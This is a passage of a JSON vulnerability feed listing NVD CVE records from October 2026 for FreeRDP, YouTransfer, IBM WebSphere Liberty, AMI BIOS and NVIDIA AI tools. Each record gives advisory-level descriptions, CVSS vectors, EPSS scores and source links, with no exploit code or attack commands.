CVE-2026-109677","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109677","type":"primary","publishedAt":"2026-10-13T14:17:30.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109677&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109677, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109676","cveId":"CVE-2026-109676","aliases":[],"kind":"vulnerability","title":"FreeRDP from 3.0.0-beta1 before 3.32.0 contains a use-after-free vulnerability in smartcard handling that allows attackers to access a freed smartcard handle object after an...","summary":"FreeRDP from 3.0.0-beta1 before 3.32.0 contains a use-after-free vulnerability in smartcard handling that allows attackers to access a freed smartcard handle object after an invalid connect operation. Attackers can trigger an invalid smartcard connect operation to cause reuse of the freed handle, leading to memory corruption or crashes.","detail":"FreeRDP from 3.0.0-beta1 before 3.32.0 contains a use-after-free vulnerability in smartcard handling that allows attackers to access a freed smartcard handle object after an invalid connect operation. Attackers can trigger an invalid smartcard connect operation to cause reuse of the freed handle, leading to memory corruption or crashes.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:30.747Z","updatedAt":"2026-10-14T20:11:45.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109676","asOf":"2026-10-14T20:11:45.520Z"},"epss":{"probability":0.00264,"percentile":0.18144,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109676&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109676","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109676","type":"primary","publishedAt":"2026-10-13T14:17:30.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109676&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109676, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109519","cveId":"CVE-2026-109519","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in YouTransfer up to 0.0.7/1.0.6/1.1.0. Affected is an unknown function of the file /settings/template of the component Template Rendering.","summary":"A vulnerability was detected in YouTransfer up to 0.0.7/1.0.6/1.1.0. Affected is an unknown function of the file /settings/template of the component Template Rendering. The manipulation results in path traversal. The attack may be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was detected in YouTransfer up to 0.0.7/1.0.6/1.1.0. Affected is an unknown function of the file /settings/template of the component Template Rendering. The manipulation results in path traversal. The attack may be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:26.583Z","updatedAt":"2026-10-14T15:17:06.690Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109519","asOf":"2026-10-14T15:17:06.690Z"},"epss":{"probability":0.00718,"percentile":0.53567,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109519&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109519","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109519","type":"primary","publishedAt":"2026-10-13T14:17:26.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109519&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109519, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103499","cveId":"CVE-2026-103499","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 Liberty could allow a remote unauthenticated attacker to...","summary":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 Liberty could allow a remote unauthenticated attacker to cause a denial of service due to uncontrolled resource consumption.","detail":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 Liberty could allow a remote unauthenticated attacker to cause a denial of service due to uncontrolled resource consumption.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:18.873Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103499","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00429,"percentile":0.36864,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103499&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103499","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103499","type":"primary","publishedAt":"2026-10-13T14:17:18.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103499&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103499, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-58774","cveId":"CVE-2025-58774","aliases":[],"kind":"vulnerability","title":"AMI APTIOV contains vulnerabilities\nin BIOS where users may cause “Buffer Access with Incorrect Length\nValue” by local access. Successful exploitation of this vulnerability could...","summary":"AMI APTIOV contains vulnerabilities\nin BIOS where users may cause “Buffer Access with Incorrect Length\nValue” by local access. Successful exploitation of this vulnerability could\nlead to buffer overflows, memory corruption, and arbitrary code execution, and\nalso impact Confidentiality, Integrity, and Availability.","detail":"AMI APTIOV contains vulnerabilities\nin BIOS where users may cause “Buffer Access with Incorrect Length\nValue” by local access. Successful exploitation of this vulnerability could\nlead to buffer overflows, memory corruption, and arbitrary code execution, and\nalso impact Confidentiality, Integrity, and Availability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:18.580Z","updatedAt":"2026-10-16T15:20:39.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-58774","asOf":"2026-10-16T15:20:39.130Z"},"epss":{"probability":0.00124,"percentile":0.02151,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-58774&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-58774","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58774","type":"primary","publishedAt":"2026-10-13T14:17:18.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-58774&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-58774, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-58773","cveId":"CVE-2025-58773","aliases":[],"kind":"vulnerability","title":"AMI APTIOV contains vulnerabilities in BIOS where users may cause  \"Out-of-bounds Write” by local access.","summary":"AMI APTIOV contains vulnerabilities in BIOS where users may cause  \"Out-of-bounds Write” by local access. Successful exploitation of this vulnerability could lead to buffer overflows, memory corruption, and arbitrary code execution, and also impact Confidentiality, Integrity, and Availability.","detail":"AMI APTIOV contains vulnerabilities in BIOS where users may cause  \"Out-of-bounds Write” by local access. Successful exploitation of this vulnerability could lead to buffer overflows, memory corruption, and arbitrary code execution, and also impact Confidentiality, Integrity, and Availability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:18.460Z","updatedAt":"2026-10-16T15:20:39.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-58773","asOf":"2026-10-16T15:20:39.130Z"},"epss":{"probability":0.00112,"percentile":0.01353,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-58773&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-58773","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58773","type":"primary","publishedAt":"2026-10-13T14:17:18.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-58773&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-58773, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-58772","cveId":"CVE-2025-58772","aliases":[],"kind":"vulnerability","title":"AMI APTIOV contains vulnerabilities in BIOS where users may cause \n“Classic Buffer Overflow” by local access. Successful exploitation of this vulnerability could lead to buffer...","summary":"AMI APTIOV contains vulnerabilities in BIOS where users may cause \n“Classic Buffer Overflow” by local access. Successful exploitation of this vulnerability could lead to buffer overflows, memory corruption, and arbitrary code execution, and also impact Confidentiality, Integrity, and Availability.","detail":"AMI APTIOV contains vulnerabilities in BIOS where users may cause \n“Classic Buffer Overflow” by local access. Successful exploitation of this vulnerability could lead to buffer overflows, memory corruption, and arbitrary code execution, and also impact Confidentiality, Integrity, and Availability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:18.327Z","updatedAt":"2026-10-16T15:20:39.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-58772","asOf":"2026-10-16T15:20:39.130Z"},"epss":{"probability":0.00124,"percentile":0.02151,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-58772&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-58772","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58772","type":"primary","publishedAt":"2026-10-13T14:17:18.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-58772&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-58772, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-58771","cveId":"CVE-2025-58771","aliases":[],"kind":"vulnerability","title":"AMI APTIOV contains vulnerabilities in BIOS\nwhere users may cause “Integer Overflow or Wraparound” by local access. Successful exploitation of this vulnerability could\nlead to...","summary":"AMI APTIOV contains vulnerabilities in BIOS\nwhere users may cause “Integer Overflow or Wraparound” by local access. Successful exploitation of this vulnerability could\nlead to buffer overflows, memory corruption, and arbitrary code execution, and\nalso impact Confidentiality, Integrity, and Availability.","detail":"AMI APTIOV contains vulnerabilities in BIOS\nwhere users may cause “Integer Overflow or Wraparound” by local access. Successful exploitation of this vulnerability could\nlead to buffer overflows, memory corruption, and arbitrary code execution, and\nalso impact Confidentiality, Integrity, and Availability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:18.140Z","updatedAt":"2026-10-19T22:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-58771","asOf":"2026-10-19T22:10:00.130Z"},"epss":{"probability":0.00112,"percentile":0.01353,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-58771&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-58771","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58771","type":"primary","publishedAt":"2026-10-13T14:17:18.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-58771&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-58771, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65180","cveId":"CVE-2026-65180","aliases":[],"kind":"vulnerability","title":"NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file.","summary":"NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.","detail":"NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:33.667Z","updatedAt":"2026-10-13T16:28:28.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65180","asOf":"2026-10-13T16:28:28.893Z"},"epss":{"probability":0.0023,"percentile":0.13691,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65180&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65180","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65180","type":"primary","publishedAt":"2026-10-13T13:17:33.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65180&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65180, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65172","cveId":"CVE-2026-65172","aliases":[],"kind":"vulnerability","title":"NVIDIA AIStore for Linux and Kubernetes contains a missing authorization vulnerability in the ETL management API where an unauthenticated remote attacker may access ETL...","summary":"NVIDIA AIStore for Linux and Kubernetes contains a missing authorization vulnerability in the ETL management API where an unauthenticated remote attacker may access ETL information or control existing ETL jobs by sending crafted GET or POST requests to an AIStore proxy.\n\nA successful exploit may lead to information disclosure and unauthorized start or stop operations that affect the integrity and availability of ETL data-processing pipelines.","detail":"NVIDIA AIStore for Linux and Kubernetes contains a missing authorization vulnerability in the ETL management API where an unauthenticated remote attacker may access ETL information or control existing ETL jobs by sending crafted GET or POST requests to an AIStore proxy.\n\nA successful exploit may lead to information disclosure and unauthorized start or stop operations that affect the integrity and availability of ETL data-processing pipelines.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:33.410Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65172","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.00383,"percentile":0.32056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65172&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65172","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65172","type":"primary","publishedAt":"2026-10-13T13:17:33.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65172&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65172, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65170","cveId":"CVE-2026-65170","aliases":[],"kind":"vulnerability","title":"NVIDIA AIStore for Linux contains a vulnerability in the experimental HT backend where an unauthenticated remote attacker may cause server-side request forgery by supplying a...","summary":"NVIDIA AIStore for Linux contains a vulnerability in the experimental HT backend where an unauthenticated remote attacker may cause server-side request forgery by supplying a crafted original URL. A successful exploit of this vulnerability may lead to information disclosure.","detail":"NVIDIA AIStore for Linux contains a vulnerability in the experimental HT backend where an unauthenticated remote attacker may cause server-side request forgery by supplying a crafted original URL. A successful exploit of this vulnerability may lead to information disclosure.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:33.283Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65170","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.00402,"percentile":0.34211,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65170&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65170","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65170","type":"primary","publishedAt":"2026-10-13T13:17:33.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65170&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65170, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65164","cveId":"CVE-2026-65164","aliases":[],"kind":"vulnerability","title":"NVIDIA AIStore for Linux contains a path traversal vulnerability in the dSort archive extraction component where a remote attacker may cause an improper limitation of a pathname...","summary":"NVIDIA AIStore for Linux contains a path traversal vulnerability in the dSort archive extraction component where a remote attacker may cause an improper limitation of a pathname to a restricted directory by supplying crafted archive member names to a dSort job. A successful exploit may lead to arbitrary file creation or overwrite, code execution, information disclosure, data tampering, and denial of service.","detail":"NVIDIA AIStore for Linux contains a path traversal vulnerability in the dSort archive extraction component where a remote attacker may cause an improper limitation of a pathname to a restricted directory by supplying crafted archive member names to a dSort job. A successful exploit may lead to arbitrary file creation or overwrite, code execution, information disclosure, data tampering, and denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of 